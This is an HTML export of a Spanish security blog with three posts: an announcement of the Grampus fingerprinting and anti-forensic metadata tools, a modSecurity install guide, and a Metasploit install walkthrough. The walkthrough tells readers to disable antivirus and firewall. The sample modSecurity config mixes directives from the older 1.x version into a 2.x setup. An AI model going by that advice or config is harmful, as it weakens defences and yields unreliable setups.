(Para ver las extensiones soportadas puedes visitar el proyecto en Bitbucket)</div> <div style="text-align: justify;"> <br /></div> <div> <b><span style="font-size: large;">Anti-Forensic Grampus :&nbsp;</span></b></div> <div> <br /></div> <div style="text-align: justify;"> Anti Forensic Grampus es una herramienta ANTI forense que pretende eliminar o modificar aquellos meta-datos encontrados en documentos, imágenes, archivos y aplicaciones.</div> <div style="text-align: justify;"> Es una buena alternativa a Metashield Protector proporcionando protección contra las mismas extensiones que podemos analizar en Forensic Grampus.</div> <div style="text-align: justify;"> <br /></div> <div> <b><span style="font-size: large;">Grampus :&nbsp;</span></b></div> <div> <br /></div> <div style="text-align: justify;"> Grampus es una herramienta para la automatización de procesos fingerprinting en los trabajos de auditoria web sumándole a esto la posibilidad de extraer y analizar los documentos públicos encontrados en la propia página a la que se le realiza la auditoria.</div> <div style="text-align: justify;"> <br /></div> <div> <b><span style="font-size: large;">Anti - Grampus :&nbsp;</span></b></div> <div> <br /></div> <div style="text-align: justify;"> Anti Grampus es una herramienta creada para evitar exponer datos o credenciales que puedan ser de utilidad en ese proceso de fingerprinting volviendo así a nuestro sitio más seguro.</div> </div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Los desarrolladores del proyecto:</div> <div style="text-align: justify;"> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <a href="https://twitter.com/Kodeinfect" style="background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@</a><a class="twitter-atreply pretty-link" href="https://twitter.com/The_Pr0ph3t" style="border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">The_Pr0ph3t</a></div> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <a href="https://twitter.com/Kodeinfect" style="background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@</a><a class="twitter-atreply pretty-link" href="https://twitter.com/SankoSK" style="border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">SankoSK</a></div> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <a href="https://twitter.com/Kodeinfect" style="background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@</a><a class="twitter-atreply pretty-link" href="https://twitter.com/sniferl4bs" style="border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">sniferl4bs</a></div> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <a href="https://twitter.com/Kodeinfect" style="background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@</a><a class="twitter-atreply pretty-link" href="https://twitter.com/don_once" style="border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">don_once</a></div> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <a href="https://twitter.com/Kodeinfect" style="background-color: transparent; border: 0px; box-sizing: border-box; color: #333333; line-height: 20.7999992370605px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@</a>OverxFlow<br /> <a href="https://twitter.com/Kodeinfect" style="border: 0px; box-sizing: border-box; color: #333333; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">@Kodeinfect</a>&nbsp;el designer oficial</div> <div style="background-color: white; border: 0px; box-sizing: border-box; color: #333333; font-family: 'Open Sans'; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; padding: 0px; vertical-align: baseline;"> <br /></div> </div> <div style="text-align: justify;"> <b><a href="https://bitbucket.org/grampusteam/grampus/downloads/userguide_grampus%5BESP%5D.pdf">Guia de usuario en Español:&nbsp;</a></b></div> <div style="text-align: justify;"> Pueden seguir y descargar el proyecto en bitbucket : <a href="https://bitbucket.org/grampusteam/">https://bitbucket.org/grampusteam/</a></div> <div style="text-align: justify;"> o noticias del proyecto en la cuenta twitter del proyecto:&nbsp;<a href="https://twitter.com/GrampusTeam">https://twitter.com/GrampusTeam</a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Saludos.</div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-79548737951300795812014-11-11T13:58:00.000-05:002014-11-11T13:58:44.928-05:00<div style="text-align: center;"> <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk3MPAFnjA6OXhY9TOziI9sIfvgm-urs7P0rWXZ0Tm-YvZv528eGY3t1FIyH6Qh_6vjlrxjMg6L186dYTWrLPd6oE49EF4S1HvuoBLiKTrct80ZdzOQxT7_QJOinMbzbUMoHGjPCecn8M/s640/ModSecurityLogo.png" height="164" width="640" /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> <b>modSecurity™ </b>es un firewall de aplicaciones Web embebible que se ejecuta como módulo del servidor web Apache, provee protección contra diversos ataques hacia aplicaciones Web y permite monitorizar tráfico HTTP, así como realizar análisis en tiempo real sin necesidad de hacer cambios a la infraestructura existente.1</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>modSecurity™</b> para Apache es un producto desarrollado por Breach Security. <b>modSecurity™</b> está disponible como Software Libre bajo la licencia GNU General Public License, a su vez, se encuentra disponible bajo diversas licencias comerciales.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>modSecurity™</b><b>&nbsp;</b>filtra ataques por XSS, SQL Injection, comportamientos anómalos en protocolos, robots, troyanos, LFI … incorporando además reglas específicas para algunos de los gestores de contenido o CMS más populares como Joomla o WordPress.</div> <div style="text-align: justify;"> Soporta integración con <b>ModProxy </b>por lo que podemos proteger aplicaciones desplegadas en otros servidores gracias a esta integración.</div> <div style="text-align: justify;"> Además&nbsp;<b>modSecurity™&nbsp;</b>cuenta con una consola de administración que permite recopilar registros de motorización y&nbsp;alertas en tiempo real así como de opciones automatizadas de mantenimiento, entre otras características</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="http://openwebinars.net/media/2013/09/modsecurity.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://openwebinars.net/media/2013/09/modsecurity.jpeg" height="513" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b><span style="font-size: large;">Instalación de modSecurity&nbsp;</span></b></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Las descargas necesarias podemos realizar desde la web oficial del proyecto http://www.modsecurity.org/</div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Lo primero que hacemos es descargarlo cambien la X por la versión Actual en nuestro caso descargaremos la version <b>2.5.13</b>:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;">$ wget http://www.modsecurity.org/download/modsecurity-apache_X.X.X.tar.gz</pre> <div> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Descomprimimos y nos ubicamos en la carpeta apache2 (para versiones 2 de Apache):</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;">$ tar -xzvf modsecurity-apache_2.5.13.tar.gz $cd modsecurity-apache_2.5.13/apache2</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Compilamos, en este caso la configuración me ha obligado a especificar la ruta tanto de apxs como de <b>apr-config y apu-config</b>:</div> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> <span style="line-height: 25.6000003814697px;">A la hora de&nbsp;</span>instalar mod_security<span style="line-height: 25.6000003814697px;">&nbsp;en sistemas de 64 bits podemos encontrarnos con problemas al intentar hacerlo a través de&nbsp;</span>apxs<span style="line-height: 25.6000003814697px;">. Por ello, tenemos que recurrimos a la instalación mediante compilación.</span></div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;"># ./configure --with-apxs=/usr/local/apache/bin/apxs \ --with-apr=/usr/local/apache/bin/apr-1-config \ --with-apu=/usr/local/apache/bin/apu-1-config</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Si no recibimos ningún error compilamos:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;"># make</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> E instalamos:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;"># make install</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Llega el momento de añadir a <b>httpd.conf</b> la carga de los módulos necesarios y la llamada al fichero de configuración:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;">LoadFile /usr/lib/libxml2.so LoadModule security2_module modules/mod_security2.so</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Y la llamada al fichero de configuración que podéis llamar como queráis:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;">Include conf/modsec2.conf</pre> <div style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;"> Ya quedará únicamente crear o copiar el fichero <b>modsec2.conf</b> y copiar las reglas que queramos a la ruta deseada.</div> <div class="entry" style="background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 18.8159999847412px; margin: 0px; padding: 0px 3px; text-align: justify;"> <div style="font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px;"> <b>modsec2.conf:</b></div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px;"><ifmodule mod_security2.c=""> SecRuleEngine On SecFilterCheckURLEncoding On SecFilterForceByteRange 0 255 SecAuditEngine RelevantOnly SecAuditLog logs/modsec_audit.log SecDebugLog logs/modsec_debug_log SecDebugLogLevel 0 SecDefaultAction "phase:2,deny,log,status:403" #Redireccion a html de seguridad ErrorDocument 403 http://rm-rf.es/fallo_seguyridad.html SecRule REMOTE_ADDR "^127.0.0.1$" nolog,allow #Includes de configuracion Include "/usr/local/apache/conf/modsecurity_rules/*.conf" </ifmodule></pre> <div style="font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px;"> Finalmente comprobamos que la sintaxis de los ficheros de configuración es correcta y ya podemos arrancar <b>Apache </b>y hacer pruebas con <b>mod_security</b>:</div> <pre style="background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px;"># /etc/init.d/httpd configtest Syntax OK</pre> <form class="sociallikes-livejournal-form" style="margin: 0px; padding: 0px;"> </form> </div> </div> <div> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-67785323616358219422014-11-07T13:06:00.000-05:002015-03-21T22:05:47.089-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mgRzrLIxllZ-Vx4ejXoKs3Uz7_9BIViJDULuLvAvCbyPqbPCkKqgBVP7qnTZhx6nH6-B6j0jA2Gh1jg5jCJOK1g7uy26NM57rz78_cKxshDkNzRI6Ll8aR_yxjrrsOS9IS8T41CliS4/s1600/metasploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mgRzrLIxllZ-Vx4ejXoKs3Uz7_9BIViJDULuLvAvCbyPqbPCkKqgBVP7qnTZhx6nH6-B6j0jA2Gh1jg5jCJOK1g7uy26NM57rz78_cKxshDkNzRI6Ll8aR_yxjrrsOS9IS8T41CliS4/s1600/metasploit.png" height="97" width="400" /></a></div> <br /> Hola Gente hoy veremos como instalar <b>Metasploit Framework</b>&nbsp;individualmente de un distro contenedora como son <b>Kali, Backtrack, </b>Etc...<br /> <br /> <div style="text-align: center;"> <span style="font-size: large;"><b>INSTALACIÓN</b></span><b><span style="font-size: large;">&nbsp;METASPLOIT LINUX (CENTOS 64BITS)</span></b></div> <div style="text-align: center;"> <b><span style="font-size: large;"><br /></span></b></div> <div style="text-align: justify;"> Primero que todo descargamos nuestra versión de&nbsp;<b>Metasploit </b>desde la <a href="http://metasploit.com/" rel="nofollow" target="_blank">web oficial</a>&nbsp;para nuestro linux en este caso una distro CntOS 6.3 de 64 bits.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> En la web encontraremos lo siguiente selecionamos y descargamos.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGif167dcMvZM42tvrL-72s3_OwF9C1Gsf_P_KlAMPPtQErIDbPAMvIxI6FzFLWIbpHanguwdQ3c9At5I9XSXcELY9Dnh8_4NLp3hKu5slTtw4Xm2fjtjo6JOvpZzlFS-QXb5xffEXUGE/s1600/metasploit-download.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGif167dcMvZM42tvrL-72s3_OwF9C1Gsf_P_KlAMPPtQErIDbPAMvIxI6FzFLWIbpHanguwdQ3c9At5I9XSXcELY9Dnh8_4NLp3hKu5slTtw4Xm2fjtjo6JOvpZzlFS-QXb5xffEXUGE/s1600/metasploit-download.png" height="173" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[antony@localhost ~]$</span>wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run </pre> </div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Una vez descargado otorgamos permisos de ejecución al archivo.</div> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .12em .12em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[antony@localhost ~]$</span>chmod +x metasploit-latest-linux-x64-installer.run </pre> </div> <br /> <div style="text-align: justify;"> Ejecutamos para iniciar la instalación.<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .12em .12em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[antony@localhost ~]$</span>sudo ./metasploit-latest-linux-x64-installer.run </pre> </div> <br /> A continuación se inicia el wizard de instalación.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpfY5fgNLzko9yCBQen1ayTkJis8EdgoBoma44XKNLQ4XqPPPeWbyH8jKciHn6lJj5HjYnkZUmrEm1151Ti5ILICkzs1h58r8Sp8MBAfZnYGHm4LJ9skvZwqbVCXbQRbt2E_Qb40j12M/s1600/Sin+t%C3%ADtulo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpfY5fgNLzko9yCBQen1ayTkJis8EdgoBoma44XKNLQ4XqPPPeWbyH8jKciHn6lJj5HjYnkZUmrEm1151Ti5ILICkzs1h58r8Sp8MBAfZnYGHm4LJ9skvZwqbVCXbQRbt2E_Qb40j12M/s1600/Sin+t%C3%ADtulo.png" height="414" width="640" /></a></div> <br /> <br /> <br /> Hacemos clic en <b>Forward </b>y continuamos con la instalación.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipQBJaeSSDXLAmmoo5WeCU3Y2mINKLqG5IYXrl_NMx-q-Wmr-XySt3tAONWHf_ZqqhYbJCeEafmTTL8WkhhW5Yvdtusr0Usi-a_DWHK0bG-mke6YK49XVGslMXptvENcnCBlC2xET-0Gk/s1600/license.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipQBJaeSSDXLAmmoo5WeCU3Y2mINKLqG5IYXrl_NMx-q-Wmr-XySt3tAONWHf_ZqqhYbJCeEafmTTL8WkhhW5Yvdtusr0Usi-a_DWHK0bG-mke6YK49XVGslMXptvENcnCBlC2xET-0Gk/s1600/license.png" height="480" width="640" /></a></div> <br /> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Seleccionamos la ruta de instalación yo optare por la recomendada o default.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga2AiLdJmMUuF6R5jUkpHdNLVr8KQqYKeF7Qs-a8WZ1aL9J4nXC2aIzMZHlYYmKhJ-jL58VeJr2gCDrIYuUok4AzoOOdxnbtbhTTDdFpA8r5lUQjfBnl2PEuFO8uiUbmXqQi_04acn9Wo/s1600/folder.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga2AiLdJmMUuF6R5jUkpHdNLVr8KQqYKeF7Qs-a8WZ1aL9J4nXC2aIzMZHlYYmKhJ-jL58VeJr2gCDrIYuUok4AzoOOdxnbtbhTTDdFpA8r5lUQjfBnl2PEuFO8uiUbmXqQi_04acn9Wo/s1600/folder.png" height="478" width="640" /></a></div> <br /> Ahora podemos seleccionar si queremos registrar <b>Metasploit</b> como un servicio. De esta manera automáticamente se inicia cada vez que se enciende la máquina.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXu6j6vEBbj0sqmhieSNunpvPihf1acweBXVBMPuaLBY9I6a6uOY0IsB8aIxVc9w5mEnltJBe2acuYH6yQwAszYH-tu5IFHm6ApedYilvy_bDf-uLn-93EEhlf492kZZIis1PJMud5ps/s1600/service.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXu6j6vEBbj0sqmhieSNunpvPihf1acweBXVBMPuaLBY9I6a6uOY0IsB8aIxVc9w5mEnltJBe2acuYH6yQwAszYH-tu5IFHm6ApedYilvy_bDf-uLn-93EEhlf492kZZIis1PJMud5ps/s1600/service.png" height="480" width="640" /></a></div> <br /> Nos pide deshabilitar antivirus y firewall para evitar conflictos.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXaCFFLLyZJzoXfQWUHI4WBC1_rTgqpVXnwJtNQVzVV2CbQjzJ5guQaGRu84S6LJJbLeK5shTuI5SEvJZqQWKUAqyw0d32m12dnqNdkSeUHhyphenhyphenlleK4Jgcm5a9kihJ5YDGqSMe4XF3HmQ/s1600/deshabilitarAV.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXaCFFLLyZJzoXfQWUHI4WBC1_rTgqpVXnwJtNQVzVV2CbQjzJ5guQaGRu84S6LJJbLeK5shTuI5SEvJZqQWKUAqyw0d32m12dnqNdkSeUHhyphenhyphenlleK4Jgcm5a9kihJ5YDGqSMe4XF3HmQ/s1600/deshabilitarAV.png" height="480" width="640" /></a></div> <br /> En la siguiente ventana nos pedira seleccionar el puerto SSL de conexion por default es el 3790.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsrdgq2uCHM5m3LffbNkr5GGKNdWCfAMYa2nyLVXn_Ax5wUlV4OmYZeXD338jh6SKjiT2i28P1n-OfMqoCEBVdIw8I-PXqIgqA5CJbcruY28P6twVQuTWZGWw7v9Q705GLNJ5EOfKJxcE/s1600/puerto.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsrdgq2uCHM5m3LffbNkr5GGKNdWCfAMYa2nyLVXn_Ax5wUlV4OmYZeXD338jh6SKjiT2i28P1n-OfMqoCEBVdIw8I-PXqIgqA5CJbcruY28P6twVQuTWZGWw7v9Q705GLNJ5EOfKJxcE/s1600/puerto.png" height="482" width="640" /></a></div> <br /> en la siguiente ventana nos pedira generar el certificado SSL y su caducidad. selecionamos que si y en mi caso dejo todo x defecto.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLzAjB-nUMbUiQ4e5lssO_DCYY_iNr99n6h9bwO7jdy_dNWJHQ6lZaCXiScIc_EVJUtHhugwTLd7VAIRUtsyKJaZhijh5Q220_MP_dLwzCivdWwXE6SXm0kcSBomolwJvrFwXJcSBZvLw/s1600/cert.SSL.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLzAjB-nUMbUiQ4e5lssO_DCYY_iNr99n6h9bwO7jdy_dNWJHQ6lZaCXiScIc_EVJUtHhugwTLd7VAIRUtsyKJaZhijh5Q220_MP_dLwzCivdWwXE6SXm0kcSBomolwJvrFwXJcSBZvLw/s1600/cert.SSL.png" height="486" width="640" /></a></div> A continuación <b>Metasploit </b>Comenzara a instalarse.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLaDfIHZI6BErhl3mH0nZ5p9ooGBrITc3w3VWRKNyWCwlPkQoNtnMthS0htQiQ4KVaC68_EQfZoRuZyTxT-QQVfQe9t35M_C8jyKa1BXbbUClJMkW4AYjOgT3UHDoqjpXpjbXjYFJXHUQ/s1600/instalacion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLaDfIHZI6BErhl3mH0nZ5p9ooGBrITc3w3VWRKNyWCwlPkQoNtnMthS0htQiQ4KVaC68_EQfZoRuZyTxT-QQVfQe9t35M_C8jyKa1BXbbUClJMkW4AYjOgT3UHDoqjpXpjbXjYFJXHUQ/s1600/instalacion.png" height="478" width="640" /></a></div> <br /> Una vez finalizada la instalación nos pedira acceder a la interfaz web de <b>Metasploit.</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eqmT-3XMRDsYen3daWLaKw5nzJwOYImxhZW1LpFyjILNAxmgGsEkmItQmb7Z5aYW2Fr_YBpZmOkORCbJZXbQ5AGyXxgNPa7ce2wBO3hDaGnhfRHvVr99z7yzGl3lwGWxz8bzxvo-HKM/s1600/webui.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eqmT-3XMRDsYen3daWLaKw5nzJwOYImxhZW1LpFyjILNAxmgGsEkmItQmb7Z5aYW2Fr_YBpZmOkORCbJZXbQ5AGyXxgNPa7ce2wBO3hDaGnhfRHvVr99z7yzGl3lwGWxz8bzxvo-HKM/s1600/webui.png" height="474" width="640" /></a></div> <b><br /></b> En esta nos encontramos con un formulario web en la cual podremos solicitar una licencia de uso a la comunidad. recordemos que metasploit tiene una version pro paga. esta es completamente gratuita soportada por la comunidad de <b>Metasploit.</b><br /> LLenamos el formulario enviamos y recibimos nuestra licencia<br /> <b><br /></b> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMwK69C0jAol4sXHN_JUqxefbJ8Jywhe1DrWASlCxrF86XCNevAClmW6a_5oHzNf2GNDop4KYVcnh_zSNyh5bzcsE5ordcIpwVJsrM7NG5IEUERI4CUVQXjs2AKw64UHNX2hHZM0bl6x8/s1600/solicitud.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMwK69C0jAol4sXHN_JUqxefbJ8Jywhe1DrWASlCxrF86XCNevAClmW6a_5oHzNf2GNDop4KYVcnh_zSNyh5bzcsE5ordcIpwVJsrM7NG5IEUERI4CUVQXjs2AKw64UHNX2hHZM0bl6x8/s1600/solicitud.png" height="248" width="640" /></a></div> <b><br /></b> <b><br /></b> <b><br /></b> <b><br /></b> <b>INSTALACIÓN DE METASPLOIT EN WINDOWS 64BITS</b><br /> <b><br /></b> Aca tratare de no enfatizar mucho ya que la instalación es similar a la de linux &nbsp;nos toparemos con las mismas ventanas que lo explicado anteriormente algo común para los amantes windows ;)<br /> <br /> En el sitio de descarga mencionado anteriormente descargamos la version para sistemas windows con arquitectura de 64bits<br /> <br /> Al igual que en los sistemas linux debemos tener desactivado cualquier <b>AV </b>o <b>Firewall </b>que se encuentre activo. y seguimos los pasos al igual que sistemas basado en unix.<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbbLdbhyFGEWWZ-oxQdu9VT8asFz71051u59dk6LJowsCxy1P0bTIRUvQmcEKu3Kv4P1cT_jsbVTpPhDveY6kP3NzO2YFJD79OJ_1g5FQnbNLeIRi6C1swgPMDpPBuO5ynRFVwicO-mow/s1600/install.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 